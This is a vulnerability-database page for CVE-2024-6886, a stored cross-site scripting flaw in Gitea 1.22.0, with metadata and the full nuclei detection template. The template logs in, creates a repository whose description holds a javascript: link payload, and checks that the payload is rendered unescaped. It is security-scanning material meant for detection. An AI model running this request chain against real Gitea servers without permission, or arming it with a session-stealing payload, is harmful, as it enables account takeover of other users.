SecurityContext

CVE-2024-6886: Gitea 1.22.0 - Cross-Site Scripting

  • Template: CVE-2024-6886
  • Name: Gitea 1.22.0 - Cross-Site Scripting
  • Description: Gitea 1.22.0 is vulnerable to a Stored Cross-Site Scripting (XSS) vulnerability. This vulnerability allows an attacker to inject malicious scripts that get stored on the server and executed in the context of another user's session.
  • Impact: Authenticated attackers can inject malicious JavaScript into repository descriptions that executes in the context of other users' sessions when they view the repository.
  • Remediation: Update Gitea to version 1.22.1 or later to address the stored XSS vulnerability.
  • Severity: medium
  • Authors: soonghee2
  • Tags: cve, cve2024, gitea, xss, authenticated, vuln
  • References: https://www.exploit-db.com/exploits/52077, https://nvd.nist.gov/vuln/detail/CVE-2024-6886
  • Cves: CVE-2024-6886
  • Verified: yes
  • Max requests: 4
  • Directory: http/cves
  • Path: http/cves/2024/CVE-2024-6886.yaml
  • Digest: 490a004630440220787de318af43dea072bb1d797a4cafffe7937af436e43c083af38830b5d9ee8e02200f41b8a94d50726c9ade25ba1a5d33371d0cfbfc73bc88224e374a6f90926ce9
  • Created at: 2025-01-30T13:04:20Z
  • Updated at: 2026-11-23T02:03:43Z
  • Age in days: 663
  • Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-6886.yaml

Classification

  • Cwe: CWE-79
  • Cvss score: 6.7
  • Cvss vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:L
  • Epss score: 0.32968
  • Epss percentile: 0.98397
  • Cpe: cpe:2.3:a:gitea:gitea:*:*:*:*:*:*:*:*

Metadata

  • Max-request: 4
  • Product: gitea
  • Vendor: gitea
  • Verified: yes

Products

ProductIndexedUrl
gitea:giteayes/v1/products/gitea/gitea

Labels

  • Name: Gitea - Stored XSS
  • Impact: Attackers can execute malicious scripts in other users' browsers, potentially stealing session tokens or performing actions on behalf of users.
  • Remediation: Update to the latest version of Gitea that addresses this vulnerability or apply security patches.
  • Vulnerability type: stored_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: user_interaction
  • Requirements: Attacker needs to inject malicious scripts
  • Labels source: projectdiscovery
  • From cve: CVE-2024-6886

```yaml

id: CVE-2024-6886

info:

name: Gitea 1.22.0 - Cross-Site Scripting

author: soonghee2

severity: medium

description: |

Gitea 1.22.0 is vulnerable to a Stored Cross-Site Scripting (XSS) vulnerability. This vulnerability allows an attacker to inject malicious scripts that get stored on the server and executed in the context of another user's session.

impact: |

Authenticated attackers can inject malicious JavaScript into repository descriptions that executes in the context of other users' sessions when they view the repository.

remediation: |

Update Gitea to version 1.22.1 or later to address the stored XSS vulnerability.

reference:

- https://www.exploit-db.com/exploits/52077

- https://nvd.nist.gov/vuln/detail/CVE-2024-6886

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:L

cvss-score: 6.7

cve-id: CVE-2024-6886

cwe-id: CWE-79

epss-score: 0.32968

epss-percentile: 0.98397

cpe: cpe:2.3:a:gitea:gitea:*:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 4

vendor: gitea

product: gitea

tags: cve,cve2024,gitea,xss,authenticated,vuln

variables:

username: "{{username}}"

password: "{{password}}"

http:

- raw:

- |

POST /user/login HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

user_name={{username}}&password={{password}}

- |

GET / HTTP/1.1

Host: {{Hostname}}

- |

GET /{{username}} HTTP/1.1

Host: {{Hostname}}

- |

POST /repo/create HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

repo_name={{randstr}}&description=<a%20href="javascript:alert(document.domain)">XSS</a>&_csrf={{csrf_token}}&uid={{uid_name}}

- |

GET /{{username}} HTTP/1.1

Host: {{Hostname}}

matchers-condition: and

matchers:

- type: word

part: body_5

words:

- '<a href="javascript:alert(document.domain)">XSS</a>'

- 'gitea'

condition: and

- type: word

part: header_5

words:

- text/html

- type: status

status:

- 200

extractors:

- type: regex

name: csrf_token

group: 1

regex:

- 'name="_csrf" value="([^"]+)"'

internal: true

- type: regex

name: uid_name

group: 1

regex:

- '"uid":\s*(\d+)'

internal: true

digest: 490a004630440220787de318af43dea072bb1d797a4cafffe7937af436e43c083af38830b5d9ee8e02200f41b8a94d50726c9ade25ba1a5d33371d0cfbfc73bc88224e374a6f90926ce9:922c64590222798bb761d5b6d8e72950

```